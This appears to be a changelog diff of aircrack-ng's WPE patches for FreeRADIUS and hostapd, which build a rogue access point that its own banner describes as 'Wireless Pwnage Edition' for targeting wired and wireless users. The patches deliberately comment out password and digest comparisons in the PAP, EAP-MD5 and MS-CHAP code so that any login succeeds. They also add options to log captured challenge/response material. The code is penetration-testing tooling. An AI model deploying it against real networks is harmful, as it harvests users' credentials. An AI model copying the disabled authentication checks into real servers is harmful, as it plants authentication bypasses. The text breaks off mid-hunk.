---- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2018-04-23 17:05:02.925470371 -0400
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c
+--- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2019-02-26 14:02:54.670099870 -0500
 @@ -204,10 +204,11 @@ static int eapleap_ntpwdhash(uint8_t *ou
  /*
   *	Verify the MS-CHAP response from the user.
@@ -211,9 +211,9 @@
  		RDEBUG2("NTChallengeResponse from AP is valid");
  		memcpy(session->peer_response, response, sizeof(response));
  		return 1;
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h
---- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2018-04-23 16:33:44.957075175 -0400
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h
+--- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2019-02-26 14:02:54.670099870 -0500
 @@ -63,7 +63,7 @@ typedef struct leap_session_t {
  int 		eapleap_compose(REQUEST *request, EAP_DS *auth, leap_packet_t *reply);
  leap_packet_t 	*eapleap_extract(REQUEST *request, EAP_DS *eap_ds);
@@ -223,9 +223,9 @@
  leap_packet_t	*eapleap_stage6(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *user_name, VALUE_PAIR* password,
  				leap_session_t *session);
  
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c
---- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2018-04-23 16:33:44.957075175 -0400
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c
+--- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2019-02-26 14:02:54.670099870 -0500
 @@ -94,6 +94,7 @@ static int CC_HINT(nonnull) mod_process(
  	leap_session_t	*session;
  	leap_packet_t	*packet;
@@ -252,15 +252,16 @@
  		session->stage = 6;
  
  		/*
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
---- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2018-04-23 17:05:09.250593885 -0400
-@@ -166,9 +166,13 @@ int eapmd5_verify(MD5_PACKET *packet, VA
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
+--- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2019-02-26 14:04:36.965168639 -0500
+@@ -166,10 +166,14 @@ int eapmd5_verify(MD5_PACKET *packet, VA
  	/*
  	 *	The length of the response is always 16 for MD5.
  	 */
 +	/*
  	if (rad_digest_cmp(digest, packet->value, 16) != 0) {
+ 		DEBUG("EAP-MD5 digests do not match.");
  		return 0;
  	}
 +	*/
@@ -269,10 +270,10 @@
  
  	return 1;
  }
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.0.12-wpe/src/modules/rlm_mschap/rlm_mschap.c
---- freeradius-server-3.0.12/src/modules/rlm_mschap/rlm_mschap.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_mschap/rlm_mschap.c	2018-04-23 17:05:26.440984402 -0400
-@@ -1103,10 +1103,13 @@ ntlm_auth_err:
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.0.18-wpe/src/modules/rlm_mschap/rlm_mschap.c
+--- freeradius-server-3.0.18/src/modules/rlm_mschap/rlm_mschap.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_mschap/rlm_mschap.c	2019-02-26 14:02:54.670099870 -0500
+@@ -1104,10 +1104,13 @@ ntlm_auth_err:
   */
  static int CC_HINT(nonnull (1, 2, 4, 5 ,6)) do_mschap(rlm_mschap_t *inst, REQUEST *request, VALUE_PAIR *password,
  						      uint8_t const *challenge, uint8_t const *response,
@@ -287,7 +288,7 @@
  	memset(nthashhash, 0, NT_DIGEST_LENGTH);
  
  	switch (method) {
-@@ -1123,9 +1126,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
+@@ -1124,9 +1127,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
  		}
  
  		smbdes_mschap(password->vp_octets, challenge, calculated);
@@ -299,7 +300,7 @@
  
  		/*
  		 *	If the password exists, and is an NT-Password,
-@@ -1857,7 +1862,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+@@ -1912,7 +1917,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
  		 *	Do the MS-CHAP authentication.
  		 */
  		mschap_result = do_mschap(inst, request, password, challenge->vp_octets,
@@ -308,7 +309,7 @@
  		/*
  		 *	Check for errors, and add MSCHAP-Error if necessary.
  		 */
-@@ -1965,7 +1970,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+@@ -2029,7 +2034,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
  
  		RDEBUG2("Client is using MS-CHAPv2");
  		mschap_result = do_mschap(inst, request, nt_password, mschapv1_challenge,
@@ -317,10 +318,10 @@
  		rcode = mschap_error(inst, request, *response->vp_octets,
  				     mschap_result, mschap_version, smb_ctrl);
  		if (rcode != RLM_MODULE_OK) return rcode;
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.0.12-wpe/src/modules/rlm_pap/rlm_pap.c
---- freeradius-server-3.0.12/src/modules/rlm_pap/rlm_pap.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/modules/rlm_pap/rlm_pap.c	2018-04-23 17:05:35.570229326 -0400
-@@ -535,6 +535,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+diff -Nurp freeradius-server-3.0.18/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.0.18-wpe/src/modules/rlm_pap/rlm_pap.c
+--- freeradius-server-3.0.18/src/modules/rlm_pap/rlm_pap.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/modules/rlm_pap/rlm_pap.c	2019-02-26 14:02:54.670099870 -0500
+@@ -540,6 +540,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  		RDEBUG("Comparing with \"known good\" Cleartext-Password");
  	}
  
@@ -328,15 +329,15 @@
  	if ((vp->vp_length != request->password->vp_length) ||
  	    (rad_digest_cmp(vp->vp_octets,
  			    request->password->vp_octets,
-@@ -543,6 +544,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 			request->password->vp_strvalue);
+@@ -547,6 +548,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		REDEBUG("Cleartext password does not match \"known good\" password");
  		return RLM_MODULE_REJECT;
  	}
 +	*/
  	return RLM_MODULE_OK;
  }
  
-@@ -581,12 +583,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -585,12 +587,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  	fr_md5_update(&md5_context, request->password->vp_octets,
  		     request->password->vp_length);
  	fr_md5_final(digest, &md5_context);
@@ -351,7 +352,7 @@
  	return RLM_MODULE_OK;
  }
  
-@@ -615,10 +617,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -619,10 +621,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  	/*
  	 *	Compare only the MD5 hash results, not the salt.
  	 */
@@ -364,7 +365,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -643,10 +647,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -647,10 +651,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  		      request->password->vp_length);
  	fr_sha1_final(digest,&sha1_context);
  
@@ -377,7 +378,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -672,10 +678,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -676,10 +682,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  	fr_sha1_update(&sha1_context, &vp->vp_octets[20], vp->vp_length - 20);
  	fr_sha1_final(digest, &sha1_context);
  
@@ -390,7 +391,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -736,10 +744,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -740,10 +748,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  
  	rad_assert((size_t) digest_len == vp->vp_length);	/* This would be an OpenSSL bug... */
  
@@ -403,7 +404,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -808,10 +818,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -812,10 +822,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  	/*
  	 *	Only compare digest_len bytes, the rest is salt.
  	 */
@@ -416,7 +417,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -845,10 +857,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -849,10 +861,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  
  	fr_md4_calc(digest, (uint8_t *) ucs2_password, len);
  
@@ -429,7 +430,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -875,11 +889,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -879,11 +893,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  		return RLM_MODULE_FAIL;
  	}
  
@@ -443,7 +444,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -936,10 +952,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+@@ -940,10 +956,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
  		fr_md5_final(buff, &md5_context);
  	}
  
@@ -456,7 +457,7 @@
  
  	return RLM_MODULE_OK;
  }
-@@ -963,6 +981,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+@@ -967,6 +985,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
  		return RLM_MODULE_INVALID;
  	}

aircrack-ng-1.4.tar.gz/patches/wpe/hostapd-wpe/README.md -> aircrack-ng-1.6.tar.gz/patches/wpe/hostapd-wpe/README.md Changed

aircrack-ng-1.4.tar.gz/patches/wpe/hostapd-wpe/hostapd-wpe.patch -> aircrack-ng-1.6.tar.gz/patches/wpe/hostapd-wpe/hostapd-wpe.patch Changed

@@ -1,6 +1,6 @@
-diff -rupN hostapd-2.6/hostapd/certs/bootstrap hostapd-2.6-wpe/hostapd/certs/bootstrap
---- hostapd-2.6/hostapd/certs/bootstrap	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/bootstrap	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/bootstrap hostapd-2.8-wpe/hostapd/certs/bootstrap
+--- hostapd-2.8/hostapd/certs/bootstrap	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/bootstrap	2019-04-22 17:02:28.629850087 -0400
 @@ -0,0 +1,82 @@
 +#!/bin/sh
 +#
@@ -84,9 +84,9 @@
 +if [ ! -f client.crt ]; then
 +  openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
 +fi
-diff -rupN hostapd-2.6/hostapd/certs/ca.cnf hostapd-2.6-wpe/hostapd/certs/ca.cnf
---- hostapd-2.6/hostapd/certs/ca.cnf	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/ca.cnf	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/ca.cnf hostapd-2.8-wpe/hostapd/certs/ca.cnf
+--- hostapd-2.8/hostapd/certs/ca.cnf	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/ca.cnf	2019-04-22 17:02:28.629850087 -0400
 @@ -0,0 +1,62 @@
 +[ ca ]
 +default_ca		= CA_default
@@ -150,9 +150,9 @@
 +basicConstraints	= critical,CA:true
 +crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
 +
-diff -rupN hostapd-2.6/hostapd/certs/client.cnf hostapd-2.6-wpe/hostapd/certs/client.cnf
---- hostapd-2.6/hostapd/certs/client.cnf	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/client.cnf	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/client.cnf hostapd-2.8-wpe/hostapd/certs/client.cnf
+--- hostapd-2.8/hostapd/certs/client.cnf	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/client.cnf	2019-04-22 17:02:28.629850087 -0400
 @@ -0,0 +1,53 @@
 +[ ca ]
 +default_ca		= CA_default
@@ -207,9 +207,9 @@
 +organizationName	= Example Inc.
 +emailAddress		= user@example.org
 +commonName		= user@example.org
-diff -rupN hostapd-2.6/hostapd/certs/demoCA/cacert.pem hostapd-2.6-wpe/hostapd/certs/demoCA/cacert.pem
---- hostapd-2.6/hostapd/certs/demoCA/cacert.pem	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/demoCA/cacert.pem	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/demoCA/cacert.pem hostapd-2.8-wpe/hostapd/certs/demoCA/cacert.pem
+--- hostapd-2.8/hostapd/certs/demoCA/cacert.pem	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/demoCA/cacert.pem	2019-04-22 17:02:28.629850087 -0400
 @@ -0,0 +1,22 @@
 +-----BEGIN CERTIFICATE-----
 +MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
@@ -233,9 +233,9 @@
 +UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
 +L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
 +-----END CERTIFICATE-----
-diff -rupN hostapd-2.6/hostapd/certs/Makefile hostapd-2.6-wpe/hostapd/certs/Makefile
---- hostapd-2.6/hostapd/certs/Makefile	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/Makefile	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/Makefile hostapd-2.8-wpe/hostapd/certs/Makefile
+--- hostapd-2.8/hostapd/certs/Makefile	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/Makefile	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,145 @@
 +######################################################################
 +#
@@ -382,9 +382,9 @@
 +destroycerts:
 +	rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
 +			serial*  *\.0 *\.1
-diff -rupN hostapd-2.6/hostapd/certs/README hostapd-2.6-wpe/hostapd/certs/README
---- hostapd-2.6/hostapd/certs/README	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/README	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/README hostapd-2.8-wpe/hostapd/certs/README
+--- hostapd-2.8/hostapd/certs/README	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/README	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,226 @@
 +  This directory contains scripts to create the server certificates.
 +To make a set of default (i.e. test) certificates, simply type:
@@ -612,9 +612,9 @@
 +change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
 +the use of SHA1 for the certificates. To do this, change the
 +'default_md' entry in those files from 'md5' to 'sha1'.
-diff -rupN hostapd-2.6/hostapd/certs/README.wpe hostapd-2.6-wpe/hostapd/certs/README.wpe
---- hostapd-2.6/hostapd/certs/README.wpe	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/README.wpe	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/README.wpe hostapd-2.8-wpe/hostapd/certs/README.wpe
+--- hostapd-2.8/hostapd/certs/README.wpe	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/README.wpe	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,13 @@
 +# Certificate creation for Hostapd-WPE #
 +########################################
@@ -629,9 +629,9 @@
 +- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
 +   if certificates signed with MD5 are used. 
 +- Generated certificates used a SHA256 signature.
-diff -rupN hostapd-2.6/hostapd/certs/server.cnf hostapd-2.6-wpe/hostapd/certs/server.cnf
---- hostapd-2.6/hostapd/certs/server.cnf	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/server.cnf	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/server.cnf hostapd-2.8-wpe/hostapd/certs/server.cnf
+--- hostapd-2.8/hostapd/certs/server.cnf	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/server.cnf	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,54 @@
 +[ ca ]
 +default_ca		= CA_default
@@ -687,9 +687,9 @@
 +emailAddress		= admin@example.org
 +commonName		= "Example Server Certificate"
 +
-diff -rupN hostapd-2.6/hostapd/certs/xpextensions hostapd-2.6-wpe/hostapd/certs/xpextensions
---- hostapd-2.6/hostapd/certs/xpextensions	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/certs/xpextensions	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/certs/xpextensions hostapd-2.8-wpe/hostapd/certs/xpextensions
+--- hostapd-2.8/hostapd/certs/xpextensions	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/certs/xpextensions	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,24 @@
 +#
 +#  File containing the OIDs required for Windows.
@@ -715,9 +715,9 @@
 +#  to generate these certs.
 +#
 +# 1.3.6.1.4.1.311.17.2
-diff -rupN hostapd-2.6/hostapd/.config hostapd-2.6-wpe/hostapd/.config
---- hostapd-2.6/hostapd/.config	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/.config	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/.config hostapd-2.8-wpe/hostapd/.config
+--- hostapd-2.8/hostapd/.config	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/.config	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,345 @@
 +# Wireless Pawn Edition HostAPd configuration file
 +#
@@ -1064,10 +1064,10 @@
 +# a client, from which a signature can be produced which can identify the model
 +# of client device like "Nexus 6P" or "iPhone 5s".
 +CONFIG_TAXONOMY=y
-diff -rupN hostapd-2.6/hostapd/config_file.c hostapd-2.6-wpe/hostapd/config_file.c
---- hostapd-2.6/hostapd/config_file.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/hostapd/config_file.c	2018-05-21 11:37:58.859577170 +0200
-@@ -20,7 +20,7 @@
+diff -rupN hostapd-2.8/hostapd/config_file.c hostapd-2.8-wpe/hostapd/config_file.c
+--- hostapd-2.8/hostapd/config_file.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/hostapd/config_file.c	2019-04-22 17:02:28.633850096 -0400
+@@ -22,7 +22,7 @@
  #include "ap/wpa_auth.h"
  #include "ap/ap_config.h"
  #include "config_file.h"
@@ -1076,9 +1076,9 @@
  
  #ifndef CONFIG_NO_RADIUS
  #ifdef EAP_SERVER
-@@ -2108,6 +2108,22 @@ static int hostapd_config_fill(struct ho
- 			return 1;
+@@ -2504,6 +2504,22 @@ static int hostapd_config_fill(struct ho
  		}
+ 		bss->eapol_version = eapol_version;
  		wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
 +#if OPENSSL_VERSION_NUMBER  < 0x10100000L
 +    } else if (os_strcmp(buf, "wpe_logfile") == 0) {
@@ -1099,9 +1099,9 @@
  #ifdef EAP_SERVER
  	} else if (os_strcmp(buf, "eap_authenticator") == 0) {
  		bss->eap_server = atoi(pos);
-diff -rupN hostapd-2.6/hostapd/defconfig hostapd-2.6-wpe/hostapd/defconfig
---- hostapd-2.6/hostapd/defconfig	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/hostapd/defconfig	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/defconfig hostapd-2.8-wpe/hostapd/defconfig
+--- hostapd-2.8/hostapd/defconfig	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/hostapd/defconfig	2019-04-22 17:02:28.633850096 -0400
 @@ -148,14 +148,14 @@ CONFIG_IPV6=y
  #CONFIG_DRIVER_RADIUS_ACL=y
  
@@ -1117,11 +1117,11 @@
 -#CONFIG_IEEE80211AC=y
 +CONFIG_IEEE80211AC=y
  
- # Remove debugging code that is printing out debug messages to stdout.
- # This can be used to reduce the size of the hostapd considerably if debugging
-diff -rupN hostapd-2.6/hostapd/hostapd-wpe.conf hostapd-2.6-wpe/hostapd/hostapd-wpe.conf
---- hostapd-2.6/hostapd/hostapd-wpe.conf	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/hostapd-wpe.conf	2018-05-21 11:37:58.859577170 +0200
+ # IEEE 802.11ax HE support
+ # Note: This is experimental and work in progress. The definitions are still
+diff -rupN hostapd-2.8/hostapd/hostapd-wpe.conf hostapd-2.8-wpe/hostapd/hostapd-wpe.conf
+--- hostapd-2.8/hostapd/hostapd-wpe.conf	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/hostapd-wpe.conf	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,2042 @@
 +# Configuration file for hostapd-wpe
 +
@@ -3165,9 +3165,9 @@
 +#bss=wlan0_1
 +#bssid=00:13:10:95:fe:0b
 +# ...
-diff -rupN hostapd-2.6/hostapd/hostapd-wpe.eap_user hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user
---- hostapd-2.6/hostapd/hostapd-wpe.eap_user	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user	2018-05-21 11:37:58.859577170 +0200
+diff -rupN hostapd-2.8/hostapd/hostapd-wpe.eap_user hostapd-2.8-wpe/hostapd/hostapd-wpe.eap_user
+--- hostapd-2.8/hostapd/hostapd-wpe.eap_user	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/hostapd/hostapd-wpe.eap_user	2019-04-22 17:02:28.633850096 -0400
 @@ -0,0 +1,107 @@
 +# hostapd user database for integrated EAP server
 +
@@ -3276,10 +3276,10 @@
 +# WPE - DO NOT REMOVE - These entries are specifically in here 
 +*		PEAP,TTLS,TLS,FAST
 +"t"	    TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "t"	[2]
-diff -rupN hostapd-2.6/hostapd/main.c hostapd-2.6-wpe/hostapd/main.c
---- hostapd-2.6/hostapd/main.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/hostapd/main.c	2018-05-21 11:37:58.859577170 +0200
-@@ -28,7 +28,7 @@
+diff -rupN hostapd-2.8/hostapd/main.c hostapd-2.8-wpe/hostapd/main.c
+--- hostapd-2.8/hostapd/main.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/hostapd/main.c	2019-04-22 17:02:53.325907872 -0400
+@@ -30,7 +30,7 @@
  #include "config_file.h"
  #include "eap_register.h"
  #include "ctrl_iface.h"
@@ -3288,7 +3288,7 @@
  
  struct hapd_global {
  	void **drv_priv;
-@@ -448,11 +448,16 @@ static int hostapd_global_run(struct hap
+@@ -454,11 +454,16 @@ static int hostapd_global_run(struct hap
  static void show_version(void)
  {
  	fprintf(stderr,
@@ -3296,18 +3296,18 @@
 +		"hostapd-WPE v" VERSION_STR "\n"
  		"User space daemon for IEEE 802.11 AP management,\n"
  		"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
- 		"Copyright (c) 2002-2016, Jouni Malinen <j@w1.fi> "
+ 		"Copyright (c) 2002-2019, Jouni Malinen <j@w1.fi> "
 -		"and contributors\n");
 +		"and contributors\n"
 +		"-----------------------------------------------------\n"
 +		"WPE (Wireless Pwnage Edition)\n"
 +		"This version has been cleverly modified to target\n"
 +		"wired and wireless users.\n"
-+		"Thomas d'Otreppe <@aircrackng>");
++		"Twitter: @aircrackng\n");
  }
  
  
-@@ -461,7 +466,7 @@ static void usage(void)
+@@ -467,7 +472,7 @@ static void usage(void)
  	show_version();
  	fprintf(stderr,
  		"\n"
@@ -3316,8 +3316,8 @@
  		"\\\n"
  		"         [-g <global ctrl_iface>] [-G <group>]\\\n"
  		"         [-i <comma-separated list of interface names>]\\\n"
-@@ -486,7 +491,15 @@ static void usage(void)
- 		"   -i   list of interface names to use\n"
+@@ -495,7 +500,15 @@ static void usage(void)
+ #endif /* CONFIG_DEBUG_SYSLOG */
  		"   -S   start all the interfaces synchronously\n"
  		"   -t   include timestamps in some debug messages\n"
 -		"   -v   show hostapd version\n");
@@ -3333,16 +3333,16 @@
  
  	exit(1);
  }
-@@ -661,7 +674,7 @@ int main(int argc, char *argv[])
- 	dl_list_init(&interfaces.global_ctrl_dst);
+@@ -678,7 +691,7 @@ int main(int argc, char *argv[])
+ #endif /* CONFIG_DPP */
  
  	for (;;) {
--		c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:");
-+		c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:kcs");
+-		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:");
++		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcs");
  		if (c < 0)
  			break;
  		switch (c) {
-@@ -725,6 +738,15 @@ int main(int argc, char *argv[])
+@@ -747,6 +760,15 @@ int main(int argc, char *argv[])
  		case 'u':
  			return gen_uuid(optarg);
  #endif /* CONFIG_WPS */
@@ -3358,9 +3358,9 @@
  		case 'i':
  			if (hostapd_get_interface_names(&if_names,
  							&if_names_size, optarg))
-diff -rupN hostapd-2.6/hostapd/Makefile hostapd-2.6-wpe/hostapd/Makefile
---- hostapd-2.6/hostapd/Makefile	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/hostapd/Makefile	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/hostapd/Makefile hostapd-2.8-wpe/hostapd/Makefile
+--- hostapd-2.8/hostapd/Makefile	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/hostapd/Makefile	2019-04-22 17:02:28.633850096 -0400
 @@ -86,6 +86,7 @@ OBJS += ../src/ap/beacon.o
  OBJS += ../src/ap/bss_load.o
  OBJS += ../src/ap/neighbor_db.o
@@ -3369,7 +3369,7 @@
  
  OBJS_c = hostapd_cli.o
  OBJS_c += ../src/common/wpa_ctrl.o
-@@ -1012,7 +1013,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
